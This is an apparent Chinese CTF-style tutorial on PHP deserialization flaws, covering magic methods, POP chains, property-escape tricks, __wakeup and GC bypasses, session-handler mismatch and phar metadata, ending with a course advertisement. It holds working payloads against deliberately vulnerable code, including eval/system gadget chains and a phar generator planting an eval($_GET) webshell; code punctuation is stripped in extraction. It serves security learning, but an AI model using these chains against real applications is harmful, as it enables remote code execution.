从入门到入侵PHP 反序列化漏洞详解PHP反序列化漏洞详解普通数据序列化?php $anull; $b666; $c66.6; $dtrue; $efalse; $fcat; echo serialize($a);//输出 N; echobr; echo serialize($b);//输出 i:666; echobr; echo serialize($c);//输出 d:66.6; echobr; echo serialize($d);//输出 b:1; echobr; echo serialize($e);//输出 b:0; echobr; echo serialize($f);//输出 s:3:cat; echobr; ?数组序列化?php $aarray(jay,john,joe); echo serialize($a);//输出 a:3:{i:0;s:3:jay;i:1;s:4:john;i:2;s:3:joe;} ? //a:3表示有三个元素 //i:0....表示数组下标对象序列化?php classperson{ public $nameaaa; protected $age18; private $id1; functionsayhello(){ echohello,.$this-name; } } $pnew person(); echo serialize($p); ? //输出{O:6:person:3:{s:4:name;s:3:aaa;s:6: * age;i:18;s:10: person id;i:1;} //注意O大写 //6表示类名person的长度 //2表示有两个属性 //protected属性和private属性序列化与public属性不同 6---(空)*(空)age 10---(空)person(空) //(空)一般用url编码为%00 //不会把类中的方法序列化 ?php classperson{ public $nameaaa; protected $age18; private $id1; functionsayhello(){ echohello,.$this-name; } classgroups{ public $elem; function__construct{ $this-elemnew person(); } } $gnew groups(); echo serialize($g); //输出O:6:groups:1:{s:4:elem;O:6:person:3:{s:4:name;s:3:aaa;s:6: * age;i:18;s:10: person id;i:1;}} //对象中嵌套对象 ?反序列化的特性1.反序列化之后是一个对象2.反序列化生成的对象里的值由序列化里的值提供与原有类预定义的值无关3.反序列化不能自动触发类的普通成员方法需要手动调用方法后才能触发?php classperson{ public $nameaaa; protected $age18; private $id1; functionsayhello(){ echohello,.$this-name; } $aO:6:person:3:{s:4:name;s:3:bbb;s:6:%00*%00age;i:18;s:10:%00person%00id;i:1;}; $bunserialize(urldecode($a)); var_dump($b); $b-sayhello(); ? //输出 object(__PHP_Incomplete_Class)#1 (4) { [__PHP_Incomplete_Class_Name] string(6) person [name] string(3) aaa [age:protected] int(18) [id:person:private] int(1) } hello,bbb4.给出的序列化字符串中成员属性的数量可以与类的定义中不一致(序列化字符串中可以有类中没有的属性)但必须和序列字符串中前面定义的成员属性数量一致?php classtest{ public $v1asd; public $v2zxc; } //O:4:test:2:{s:2:v1;s:3:asd;s:2:v2;s:3:zxc;} $aO:4:test:2:{s:2:v1;s:3:asd;}; $bO:4:test:3:{s:2:v1;s:3:asd;s:2:v2;s:3:zxc;s:2:v3;s:3:fgh;}; var_dump(unserialize($a));//输出bool(false) echobr; var_dump(unserialize($b)); //输出 object(test)#1 (3) { [v1] string(3) asd [v2] string(3) zxc [v3] string(3) fgh } ?5.字符串中的一些特殊字符是否具有功能性取决于定义字符串的长度在序列字符串中成员属性数量对应字符串长度对应的情况下不在引号中的;}就是反序列化结束符;}后面的字符串不影响反序列化结果?php classtest{ public $v1; public $v2; } //O:4:test:2:{s:2:v1;s:3:asd;s:2:v2;s:3:zxc;} $aO:4:test:1:{s:2:v1;s:3:a;}d;}; $bO:4:test:1:{s:2:v1;s:3:asd;}s:2:v2;s:3:zxc;}; var_dump(unserialize($a)); echobr; var_dump(unserialize($b)); ? //输出 object(test)#1 (2) { [v1] string(4) a;}d [v2] NULL } object(test)#1 (2) { [v1] string(3) asd [v2] NULL }6.当一个对象比如类A中包含另一个对象类B在反序列化时B子对象会先被反序列化然后再是A外层对象PHP 的类名在unserialize 时大小写不敏感O:6:Access:2........等价于O:6:access:28.表示字符串的s换成S后面的字符串可以用\xxx(十六进制)表示魔术方法魔术方法定义已经预定义好的在特定情况下自动触发的行为方法反序列化漏洞的成因:unserialize()接收的值可控通过更改这个值为想要执行的命令通过达到特定条件触发魔术方法去调用其他方法最终达到执行命令的目的__construct()__destruct()?php highlight_file(__FILE__); classUser{ public $username; publicfunction__construct(){ echo触发了构造函数1次 ; } } /* 当实例化一个对象时调用__construct() */ $test new User();//触发 ? //输出触发了构造函数1次 ?php highlight_file(__FILE__); classUser{ publicfunction__destruct() { echo触发了析构函数1次.br / ; } } /*销毁对象时会调用__destruct() 1.实例化一个对象后到程序结束自动销毁触发 2.用户使用unset()主动销毁触发 */ $test new User(benben); //实例化一个对象后会被销毁触发__destruct() $ser serialize($test);//不会触发 unserialize($ser);//反序列化得到的对象至程序结束销毁---触发__destruct() ?当调用unserialize时PHP 会创建一个新的对象实例并恢复对象的属性。但在这个过程中PHP 不会触发构造函数**__construct**这是为了避免不必要的副作用或者不当行为。反序列化过程是为了还原对象的状态__construct的目的是初始化对象通常在对象创建时调用而unserialize是在对象已经创建好后恢复状态所以不需要再次初始化。__sleep()__wakeup()serialize()会检查类中是否存在__sleep()如果存在先调用此方法返回一个包含需要被序列化的属性名的数组再序列化;?php highlight_file(__FILE__); classUser{ const SITE uusama; public $username; public $nickname; private $password; publicfunction__construct($username, $nickname, $password){ $this-username $username; $this-nickname $nickname; $this-password $password; } publicfunction__sleep(){ returnarray(username, nickname); } } $user new User(a, b, c); echo serialize($user); ? //输出O:4:User:2:{s:8:username;s:1:a;s:8:nickname;s:1:b;}unserialize()会检查是否存在__weakup(),如果存在则先调用此方法预备对象所需要的资源返回void再进行反序列化 (会涉及绕过)?php highlight_file(__FILE__); error_reporting(0); classUser{ const SITE uusama; public $username; public $nickname; private $password; private $order; publicfunction__wakeup(){ $this-password $this-username; } } $user_ser O:4:User:2:{s:8:username;s:1:a;s:8:nickname;s:1:b;}; var_dump(unserialize($user_ser)); ? //输出 object(User)#1 (4) { [username] string(1) a [nickname] string(1) b [password:User:private] string(1) a [order:User:private] NULL } 可以看到构建序列化字符串时没有给password赋值但是经过反序列化之后由于__weakup()的调用会被赋值__toString()__invoke()当把对象当成字符串使用时会触发__toString()?php highlight_file(__FILE__); error_reporting(0); classUser{ var $benben this is test!!; publicfunction__toString() { return格式不对输出不了!; } } $test new User() ; print_r($test);//print_r和var_dump参数可以是对象 echobr /; echo $test;//echo不能输出对象 ?当把对象当成函数使用是会触发__invoke?php highlight_file(__FILE__); error_reporting(0); classUser{ var $benben this is test!!; publicfunction__invoke() { echo它不是个函数!; } } $test new User() ; echo $test-benben; echobr/; echo $test()-benben;把test当成函数调用了 ?__clone()当使用clone()函数拷贝一个对象时会触发__clone?php highlight_file(__FILE__); error_reporting(0); classUser{ private $var; publicfunction__clone( ) { echo__clone test; } } $test new User() ; clone($test); ?__call()__callStatic()__get()__set()当调用一个不存在的方法时会触发__call()?php highlight_file(__FILE__); error_reporting(0); classUser{ publicfunction__call($arg1,$arg2)//arg1是方法名arg2是参数组成的数组 { echo$arg1,$arg2[0],$arg[1]; } } $test new User() ; $test-xxxx(a,b);//xxxx方法在User类中不存在 ? //输出xxxx,a,b当静态调用一个不存在的方法时会触发__callStatic()?php highlight_file(__FILE__); error_reporting(0); classUser{ publicfunction__callStatic($arg1,$arg2) { echo$arg1,$arg2[0]; } } User::xxxx(a);//直接通过类名和::静态调用不用实例化对象 ? //输出xxxx,a当调用一个不存在的成员属性时会触发__get()?php highlight_file(__FILE__); error_reporting(0); classUser{ public $var1; publicfunction__get($arg1) { echo$arg1 is not existed; } } $test new User() ; $test-var2;//var2成员属性不存在 ? //输出:var2 is not existed //注意:当给$var2赋值时不会触发__get()只有用$var2给别的变量赋值或者成为函数的参数时才会调用当给一个不存在的成员属性赋值时触发__set()?php highlight_file(__FILE__); error_reporting(0); classUser{ public $var1; publicfunction__set($arg1 ,$arg2) { echo $arg1.,.$arg2; } } $test new User() ; $test-var21; ? //输出var2,1__isset()__unset()当对不可访问的属性使用isset()或empty()时__isset()会触发?php highlight_file(__FILE__); error_reporting(0); classUser{ private $var; publicfunction__isset($arg1) { echo $arg1; } } $test new User() ; isset($test-var);//或者是empty($test-var); ? //输出var当对不可访问的属性使用unset()时__unset()会触发?php highlight_file(__FILE__); error_reporting(0); classUser{ private $var; publicfunction__unset($arg1 ) { echo $arg1; } } $test new User() ; unset($test-var); ? //输出var反序列化利用成员属性为private和protected时要把pop链进行url编码例1?php highlight_file(__FILE__); error_reporting(0); classtest{ public $a echo this is test!!;; publicfunctiondisplayVar(){ eval($this-a); } } $get $_GET[benben]; $b unserialize($get); $b-displayVar() ; ?只需构造一个类使其$a属性为system(“ls”);当调用displayVar这个方法时,命令就会执行例2?php highlight_file(__FILE__); error_reporting(0); classindex{ private $test; publicfunction__construct(){ $this-test new normal(); } publicfunction__destruct(){ $this-test-action(); } } classnormal{ publicfunctionaction(){ echoplease attack me; } } classevil{ var $test2; publicfunctionaction(){ eval($this-test2); } } unserialize($_GET[test]); ?思路首先找到利用点即evil类中的action方法然后找能够调用action方法的地方即index类中的__destruct()方法而unserialize()函数又能触发__destruct()方法所以只需要构造一个index对象且它的test成员为一个evil对象而evil对象的test2成员为system(“ls”);构造代码如下?php classevil{ var $test2system(ls);; } classindex{ private $test; publicfunction__construct(){ $this-testnew evil(); } } echo urlencode(serialize(new index())); ?例3?php //flag is in flag.php highlight_file(__FILE__); error_reporting(0); classModifier{ private $var; publicfunctionappend($value) { include($value); echo $flag; } publicfunction__invoke(){ $this-append($this-var); } } classShow{ public $source; public $str; publicfunction__toString(){ return$this-str-source; } publicfunction__wakeup(){ echo$this-source; } } classTest{ public $p; publicfunction__construct(){ $this-p array(); } publicfunction__get($key){ $function $this-p; return $function(); } } if(isset($_GET[pop])){ unserialize($_GET[pop]); } ?思路1.找到利用点Modifier类中的append方法中有include(所以需要向传入valueflag.php2.Modifier类没有$value成员属性需要触发__invoke()就需要一个地方把一个Modifier类的对象当作函数3.找到能把对象当作函数的地方即Test类中的__get方法而需要触发__get方法就要调用一个Test类成员中不存在的成员属性并且要把一个Test对象的$p赋值为一个Modifier类的对象4.找到能触发__get方法的地方即Show类中的__toString方法只需将Show类的对象1的$str属性赋值为一个Test类对象而__toString触发时就会return一个Test类对象没有的source属性5.找到能够触发__toString方法的地方即__wakeup方法中的echo只需把Show类对象2的source属性赋值为一个的Show类对象1即可6.最后把Show类对象2序列化传给pop整个调用过程1.Show类对象2反序列化触发__wakeup方法2.echo Show类对象1触发__toString方法3.return Test类对象没有的source属性触发__get方法4.Modifier类对象被当作函数触发__invoke方法?php classModifier{ private $var; publicfunction__construct($var){ $this-var$var; } } classTest{ public $p; } classShow{ public $source; } $monew Modifier(flag.php);//实例化Modifier对象给其var属性赋值为flag.php $tenew Test(); $te-p$mo; //实例化Test对象给其p属性赋值为$mo以触发__invoke() $Sh1new Show(); $Sh1-str$te;//实例化Show对象1给其str属性赋值为$te以触发__get() $Sh2new Show(); $Sh2-source$Sh1;//实例化Show对象2给其source属性赋值为$Sh1以触发__toString() echo urlencode(serialize($Sh2));//序列化Show对象2 ?属性逃逸使用背景反序列化字符串经过序列化之后的某个属性无法控制替换后字符串减少导致的逃逸?php classA{ public $v1 ; public $v2 ; publicfunction__construct($arga,$argc){ $this-v1 $arga; $this-v2 $argc; } } $a abcsystem(); $b 123; $data serialize(new A($a,$b)); echo $data; $data str_replace(system(),,$data); echo\r\n; echo $data; ? //第一个输出O:1:A:2:{s:2:v1;s:11:abcsystem();s:2:v2;s:3:123;} //第二个输出O:1:A:2:{s:2:v1;s:11:abc;s:2:v2;s:3:123;}可以看到system()被替换为空之后原有字符串长度减少可是对应的表示字符串长度的数字并没有减小因此序列化字符串中的一些功能性字符会被当作普通字符算进11给字符中如果给$a再加一个system()此时失去功能性的字符串长度再增加8$a abcsystem()system(); $b 123; $data serialize(new A($a,$b)); echo $data; $data str_replace(system(),,$data); echo\r\n; echo $data; //第一个输出O:1:A:2:{s:2:v1;s:19:abcsystem()system();s:2:v2;s:3:123;} //第二个输出O:1:A:2:{s:2:v1;s:19:abc;s:2:v2;s:3:123;}如果把123换成功能性字符例如s:2:“v3”;N;添加一个system()增加了八个丧失功能性的字符最终期望输出O:1:“A”:2:{s:2:“v1”;s:xa:“abc”;s:2:“v2”;s:xb:“;s:2:“v3”;N;}”;}xa处至少为19,因为xb处肯定为两位数由于只能从3开始递增所以xa处可以是27,即3个system(),所以要多加7个字符O:1:“A”:2:{s:2:“v1”;s:27:“abc”;s:2:“v2”;s:21:“1234567”;s:2:“v3”;N;};}说明:从a开始到7结束长度为27从1开始到蓝色结束长度为21最终即使前面只定义了两个属性也能逃逸出来第三个属性例题?php highlight_file(__FILE__); error_reporting(0); functionfilter($name){ $safearray(flag,php); $namestr_replace($safe,hk,$name); return $name; } classtest{ var $user; var $pass; var $vip false ; function__construct($user,$pass){ $this-user$user; $this-pass$pass; } } $param$_GET[user]; $pass$_GET[pass]; $paramserialize(new test($param,$pass)); $profileunserialize(filter($param)); if ($profile-vip){ echo file_get_contents(flag.php); } ?思路1.需要将vip属性改为true2.需要将php或者flag改为hk3.构造需要逃逸的代码;s:4:“pass”;N;s:3:“vip”;b:1;}长度为30这里还要构造一个pass是为了对应序列化字符串前面的3个属性否则当原有的pass失去功能性后属性数量不对应4.O:4:“test”:3:{s:4:“user”;s:60:“20个hk”;s:4:“pass”;s:31:“b”;s:4:“pass”;N;s:3:“vip”;b:1;};s:3:“vip”;b:0;}20个php长度为60黄色部分长度为20加上前面20个hk长度为605.给user赋值20个phppass赋值为b;s:4:“pass”;N;s:3:“vip”;b:1;}方法总结1.构造需要获得功能性的字符串长度这个长度会决定数字的位数2.计算被替换后失去功能性的字符串长度3.计算需要被替换的个数个数*替换导致的的平均减少量失去功能的字符串长度4.相对位置被替换的字符串-失去功能性的字符串-获得功能性的字符串至少要两个属性可控被替换的字符串赋值给位置靠前的属性获得功能性的字符串长度赋值给位置靠后的属性替换后增多导致的逃逸?php highlight_file(__FILE__); error_reporting(0); classA{ public $v1 ; public $v2 ; publicfunction__construct($arga,$argc){ $this-v1 $arga; $this-v2 $argc; } } $a ls; $b 123; $data serialize(new A($a,$b)); echo $data; $data str_replace(ls,pwd,$data); echo $data; var_dump(unserialize($data)); ? //第一个输出O:1:A:2:{s:2:v1;s:2:ls;s:2:v2;s:3:123;} //第二个输出O:1:A:2:{s:2:v1;s:2:pwd;s:2:v2;s:3:123;} 逃逸出来一个d字符O:1:“A”:2:{s:2:“v1”;s:66:“lslslslslslslslslslslslslslslslslslslslslsls”;s:2:“v3”;s:3:“666”;};s:2:“v2”;s:3:“123”;}说明22个ls加上后面需要逃逸的代码共66个字符当ls被替换为pwd时66个字符已经满了逃逸代码就变为功能性代码例题?php highlight_file(__FILE__); error_reporting(0); functionfilter($name){ $safearray(flag,php); $namestr_replace($safe,hack,$name);//把flag和php替换为hack return $name; } classtest{ var $user; var $passdaydream; function__construct($user){ $this-user$user; } } $param$_GET[param]; $paramserialize(new test($param));//$param传参给$user $profileunserialize(filter($param)); if ($profile-passescaping){ echo file_get_contents(flag.php); } ?思路1.最终目标为需要在逃逸代码中改变pass属性的值为escaping2.需要将php替换为hack,才能增加一个字符创造条件3.构造需要逃逸的代码;s:4:“pass”;s:8:“escaping”;}长度为294.给param传入29个php再加上逃逸代码方法总结1.构造需要获得功能性的字符串2.计算被替换后增加的字符串长度替换后增加的字符串长度获得佛南功能性的字符串长度3.计算被替换的个数被替换的个数*替换导致的平均增加量替换后增加的字符串长度获得功能性的字符串长度4.把被替换的字符串与获得功能性的字符串合并后赋值给一个可控属性即可__wakeup绕过条件php55.6.25 php77.0.10漏洞产生原因序列化字符串中表示对象属性数量的值大于真实属性数量时会跳过__wakeup的执行例题?php error_reporting(0); classsecret{ var $fileindex.php; publicfunction__construct($file){ $this-file$file; } function__destruct(){ include_once($this-file); echo $flag; } function__wakeup(){ $this-fileindex.php; } } $cmd$_GET[cmd]; if (!isset($cmd)){ highlight_file(__FILE__); } else{ if (preg_match(/[oc]:\d:/i,$cmd))//O:后面不能跟数字 { echoAre you daydreaming?; } else{ unserialize($cmd); } } //sercet in flag.php ?payload: O:6:“secret”:2:{s:4:“file”;s:8:“flag.php”;} url编码后提交解析不敏感影响版本PHP7.1可以看到虽然类中$a是protected属性序列化字符串中是public属性但反序列化未受到影响当把php版本切换到7.1以下时反序列化之后类中有两个属性a引用的利用例题?php highlight_file(__FILE__); error_reporting(0); include(flag.php); classjust4fun{ var $enter; var $secret; } if (isset($_GET[pass])) { $pass $_GET[pass]; $passstr_replace(*,\*,$pass); } $o unserialize($pass); if ($o) { $o-secret *; if ($o-secret $o-enter) echoCongratulation! Here is my secret: .$flag; else echoOh no... You cant fool me; } elseechoare you trolling?; ?题解?php classjust4fun{ var $enter; var $secret; } $anew just4fun(); $a-enter$a-secret; echo serialize($a); ?payloadO:8:“just4fun”:2:{s:5:“enter”;N;s:6:“secret”;R:2;}GC回收机制绕过引用计数?php $a 123; xdebug_debug_zval(a); //a: (refcount1, is_ref0)123 ? ?php $a 123; $b$a; $c$a; xdebug_debug_zval(a); xdebug_debug_zval(b); xdebug_debug_zval(c); //a: (refcount2, is_ref1)123 //b: (refcount3, is_ref1)123 //c: (refcount3, is_ref1)123 ?当我们PHP创建一个变量时这个变量会被存储在一个名为zval的变量容器中。在这个zval变量容器中不仅包含变量的类型和值还包含两个字节的额外信息refcount它表示的是该变量的引用计数即有多少个变量或者说指针指向同一个内存地址当refcount0的时候(程序结束或unset)就会销毁此变量is_ref这个表示的是该变量是否是一个引用。如果是引用类型的变量即通过创建的引用is_ref为 1表示这个变量是引用类型如果是普通变量is_ref为 0普通变量被引用**$b $a**后它就从普通变量变成了引用变量GC (Garbage Collection) 触发和利用当一个变量被设置为NULL或者没有任何指针指向时它就会被变成垃圾被GC机制自动回收掉绕过throw new Exception?php classgc { public $num; publicfunction__construct($num) { $this-num $num; } publicfunction__destruct() { echoHello World!\n; } } $strO:2:gc:1:{s:3:num;i:1;}; $b unserialize($str); thrownewException(F12 is bad); /*此时不会触发__destruct输出Hello World*/当你使用throw new Exception()抛出异常时PHP 会立刻跳出当前的执行流程并进入异常处理流程通常是通过try-catch来捕获。异常抛出时的执行流程PHP 会 中断当前代码执行并开始查找异常处理器如果有catch如果没有 catch 来捕获这个异常PHP 会直接输出错误信息并停止执行。在异常被抛出时脚本的执行流并不会等待析构函数的完成即 PHP 会立即跳转到异常处理部分。此时需要用GC机制强行触发__destruct()?php classgc { public $num; publicfunction__construct($num) { $this-num $num; } publicfunction__destruct() { echoHello World!\n; } } $arrarray(0new gc(),1NULL); echo serialize($arr); /*将a:2:{i:0;O:2:gc:1:{s:3:num;i:1;}i:1;N;} 改为a:2:{i:0;O:2:gc:1:{s:3:num;i:1;}i:0;N;} 相当于把i 0的元素指向NULL触发GC */拓展a:2:{i:0;O:2:gc:1:{s:3:num;i:1;}i:0;i:0;}也可以触发析构原理略有不同PHP 在反序列化数组时遇到后面的 i:0;i:0; 会 覆盖 前面那个i:0;O:gc:...覆盖发生的那一刻那个 gc 对象的引用计数变为 0 —— 立刻调用 __destruct()也就是说第二个元素设为任意只要把下标改为0形成覆盖即可触发__destruct()?php .... $str a:2:{i:0;O:2:gc:1:{s:3:num;i:1;}i:0;s:3:aaa;}; $b unserialize($str); var_dump($b); thrownewException(F12 is bad); ? /*输出 Hello World! array(1) { [0] string(3) aaa } */session反序列化当session_start()被调用或者php.ini中session.auto_start1时php内部调用会话管理器访问用户session序列化****的键值对数据会被存储在session文件中文件名格式一般为session_PHPSESSID例如常见的三种存储格式php默认 键名|序列化字符串php_serialize(php5.5.4) 数组序列化字符串php_binary 键名的长度作为ascii码对应的字符键名序列化字符串(例长度为65,对应a)?php highlight_file(__FILE__); error_reporting(0); session_start(); $_SESSION[benben] $_GET[x]; ? ?xasdfg session文件中 benben|s:5:asdfg; ?php highlight_file(__FILE__); error_reporting(0); ini_set(session.serialize_handler,php_serialize); session_start(); $_SESSION[benben] $_GET[a]; $_SESSION[b] $_GET[b]; ? ?aasdfgbuio session文件中 a:2:{s:6:benben;s:5:asdfg;s:1:b;s:3:uio;} ?php highlight_file(__FILE__); error_reporting(0); ini_set(session.serialize_handler,php_binary); session_start(); $_SESSION[benben] $_GET[ben]; $_SESSION[b] $_GET[b]; ? ?benasdfgbhjk在session文件中漏洞产生原因当PHP的 session****序列化****处理器如**php_serialize**与其它处理器如**php**混用时造成序列化与反序列化格式不一致,攻击者可以构造恶意的序列化字符串注入到 Session 中导致反序列化时执行危险操作。存储处理器读取处理器危险程度可能攻击方式php_serializephp高危可通过注入对象php_serializephp_binary中高危可能利用二进制长度欺骗php_binaryphp中危可能造成解析混乱示例php_serialize写入php读?php highlight_file(__FILE__); error_reporting(0); ini_set(session.serialize_handler,php_serialize); session_start(); $_SESSION[ben] $_GET[a]; ? ?php highlight_file(__FILE__); error_reporting(0); ini_set(session.serialize_handler,php); session_start(); classD{ var $a; function__destruct(){ eval($this-a); } } ?利用时需要使其能从session文件中读取并反序列化出一个D类对象并且使其a属性是恶意代码此时向写入页面传入?a|O:1:“D”:1:{s:1:“a”;s:13:“system(“ls”);”;}在文件中存储为在被读取时|前面的部分都被认为是键名|后面是被序列化的值于是经过反序列化就实例化了一个D类对象phar反序列化Phar结构[Stub]文件标识格式为xxx[Manifest]压缩文件属性以序列化存储包含Meta-data(元数据)[File Contents]压缩文件内容[Signature]签名放在文件末尾如果**phar.require_hash设为Off****默认**Phar 文件可以没有签名。如果**phar.require_hash**设为**On**则所有 Phar 文件必须包含有效签名否则无法加载。Phar协议解析phar文件时会自动触发Manifest字段的反序列化Phar反序列化漏洞利用条件phar文件能上传到服务器(注意任意后缀都行)要有可用的反序列化能触发的魔术方法要有文件操作函数且参数可控phar://伪协议能正常使用例?php highlight_file(__FILE__); error_reporting(0); classTestobj { var $outputecho ok;; function__destruct() { eval($this-output); } } if(isset($_GET[filename])) { $filename$_GET[filename]; var_dump(file_exists($filename)); } ?题解:生成phar文件时注意phar.readonlyOff?php //恶意类 classTestobj { var $output; } unlink(test.phar); //删除之前的test.phar文件(如果有) $pharnew Phar(test.phar); //创建test.phar文件对象 $phar-startBuffering(); //开始缓冲写入操作 $phar-setStub(?php __HALT_COMPILER(); ?); //设置stub__HALT_COMPILER()--终止编译器执行 $onew Testobj(); $o-outputeval($_GET[1]);; $phar-setMetadata($o);//将恶意类写入meta-data $phar-addFromString(test.txt,test);//设置一个空文件phar至少要包含一个文件 // 设置签名算法可选 SHA-1、SHA-256、SHA-512、MD5 等非必要 $phar-setSignatureAlgorithm(Phar::SHA256); $phar-stopBuffering();//结束缓冲并且写入磁盘签名此时自动生成 ?运行此文件后会生成test.phar将test.phar上传到靶机后找到参数可控的文件操作函数?filephar://uploads/test.phar/test.txt然后就能触发反序列化当不能用phar://或者有文件内容检测可以把.phar压缩成.gz可以去除?php __HALT_COMPILER(); ?以及其中的序列化字符串绕过检测且不需要用phar://(只有 include()得到验证其余文件操作函数未知)⚠️ 安全声明本文档仅用于网络安全学习和研究目的。文档中的所有代码示例和漏洞利用技术仅应在合法授权的测试环境中使用。请勿将这些技术用于任何非法活动。使用者需对自己的行为承担全部法律责任。学习资源如果你也是零基础想转行网络安全却苦于没系统学习路径、不懂核心攻防技能光靠盲目摸索不仅浪费时间还消磨自己信心。这份 360 智榜样学习中心独家出版《网络攻防知识库》专为转行党量身打造01内容涵盖这份资料专门为零基础转行设计19 大核心模块从 Linux系统、Python 基础、HTTP协议等地基知识到 Web 渗透、代码审计、CTF 实战层层递进攻防结合的讲解方式让新手轻松上手真实实战案例 落地脚本直接对标企业岗位需求帮你快速搭建转行核心技能体系这份完整版的网络安全学习资料已经上传CSDN【保证100%免费】**读者福利 |***CSDN大礼包《网络安全入门进阶学习资源包》免费分享 *安全链接放心点击02 知识库价值深度 本知识库超越常规工具手册深入剖析攻击技术的底层原理与高级防御策略并对业内挑战巨大的APT攻击链分析、隐蔽信道建立等提供了独到的技术视角和实战验证过的对抗方案。广度 面向企业安全建设的核心场景渗透测试、红蓝对抗、威胁狩猎、应急响应、安全运营本知识库覆盖了从攻击发起、路径突破、权限维持、横向移动到防御检测、响应处置、溯源反制的全生命周期关键节点是应对复杂攻防挑战的实用指南。实战性 知识库内容源于真实攻防对抗和大型演练实践通过详尽的攻击复现案例、防御配置实例、自动化脚本代码来传递核心思路与落地方法。03 谁需要掌握本知识库负责企业整体安全策略与建设的CISO/安全总监从事渗透测试、红队行动的安全研究员/渗透测试工程师负责安全监控、威胁分析、应急响应的蓝队工程师/SOC分析师设计开发安全产品、自动化工具的安全开发工程师对网络攻防技术有浓厚兴趣的高校信息安全专业师生04部分核心内容展示360智榜样学习中心独家《网络攻防知识库》采用由浅入深、攻防结合的讲述方式既夯实基础技能更深入高阶对抗技术。内容组织紧密结合攻防场景辅以大量真实环境复现案例、自动化工具脚本及配置解析。通过策略讲解、原理剖析、实战演示相结合是你学习过程中好帮手。1、网络安全意识2、Linux操作系统3、WEB架构基础与HTTP协议4、Web渗透测试5、渗透测试案例分享6、渗透测试实战技巧7、攻防对战实战8、CTF之MISC实战讲解这份完整版的网络安全学习资料已经上传CSDN【保证100%免费】**读者福利 |***CSDN大礼包《网络安全入门进阶学习资源包》免费分享 ***安全链接放心点击**